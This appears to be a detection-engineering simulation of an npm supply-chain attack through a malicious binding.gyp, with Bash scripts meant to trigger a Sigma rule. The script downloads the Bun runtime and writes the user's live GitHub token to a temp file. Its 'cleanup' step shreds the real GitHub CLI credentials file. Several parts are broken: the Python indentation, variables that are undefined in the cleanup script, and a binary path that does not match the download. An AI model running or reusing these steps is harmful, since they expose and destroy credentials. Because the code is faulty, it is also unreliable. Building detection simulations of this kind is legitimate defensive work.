Miasma Supply Chain Attack Spreads Through the Phantom Gyp Worm

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker compromises an open‑source npm package, adding a malicious binding.gyp. When a developer runs npm install, the package’s build process invokes node-gyp rebuild. Inside the generated build script, the attacker:

  1. Downloads the Bun runtime (signed binary) via curl to a temporary directory (/tmp/b-<rand>/).
  2. Elevates privileges by invoking sudo python3 to unpack the zip and place the binary in /usr/local/bin.
  3. Harvests the developer’s GitHub token using gh auth token.
  4. Executes a payload (bun run /tmp/p1764ajw42rg.js) that exfiltrates data.

  Each step appears verbatim in the process‑creation logs, satisfying the Sigma rule’s contains list.

• Regression Test Script: The following Bash script reproduces the exact chain of commands in a controlled lab environment.

  # miasma_phantom_gyp_simulation.sh
  set -euo pipefail
  
  # 1. Prepare a fake npm package with malicious binding.gyp
  PKG_DIR=$(mktemp -d /tmp/miasma_pkg.XXXX)
  cd "$PKG_DIR"
  npm init -y >/dev/null 2>&1
  cat > binding.gyp <<'EOF'
  {
    "targets": [
      {
        "target_name": "evil",
        "sources": [ "evil.c" ]
      }
    ]
  }
  EOF
  echo "int main(){return 0;}" > evil.c
  # Install node‑gyp locally
  npm install node-gyp >/dev/null 2>&1
  
  # 2. Run node‑gyp rebuild (first indicator)
  ./node_modules/.bin/node-gyp rebuild
  
  # 3. Download Bun runtime (second indicator)
  TMPDIR=$(mktemp -d /tmp/b-XXXXXX)
  curl -sSL "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-linux-x64-baseline.zip" -o "$TMPDIR/bun.zip"
  
  # 4. Elevate with sudo python3 to unzip (third indicator)
  sudo python3 - <<PYTHON
  import zipfile, sys, os
  zip_path = os.getenv('TMPDIR') + '/bun.zip'
  with zipfile.ZipFile(zip_path, 'r') as z:
  z.extractall(os.getenv('TMPDIR'))
  PYTHON
  
  # 5. Acquire GitHub token (fourth indicator)
  # Note: This requires GitHub CLI to be installed and previously authenticated.
  gh auth token > "$TMPDIR/gh_token.txt"
  
  # 6. Execute malicious payload via Bun (fifth indicator)
  # Create a dummy JS payload
  echo "console.log('exfiltrated');" > "$TMPDIR/p1764ajw42rg.js"
  "$TMPDIR/bun" run "$TMPDIR/p1764ajw42rg.js"
  
  echo "Simulation complete. Check your SIEM for the generated alerts."

• Cleanup Commands: Remove temporary artifacts and reverse privilege escalation artifacts.

  # cleanup_miasma_simulation.sh
  set -euo pipefail
  
  # Remove temporary directories
  rm -rf "$PKG_DIR" "$TMPDIR"
  
  # Optionally remove the installed Bun binary from /usr/local/bin if it was placed there
  if command -v bun >/dev/null; then
      sudo rm -f "$(command -v bun)"
  fi
  
  # Clear any captured GitHub token
  shred -u "$HOME/.config/gh/hosts.yml" 2>/dev/null || true
  
  echo "Cleanup finished."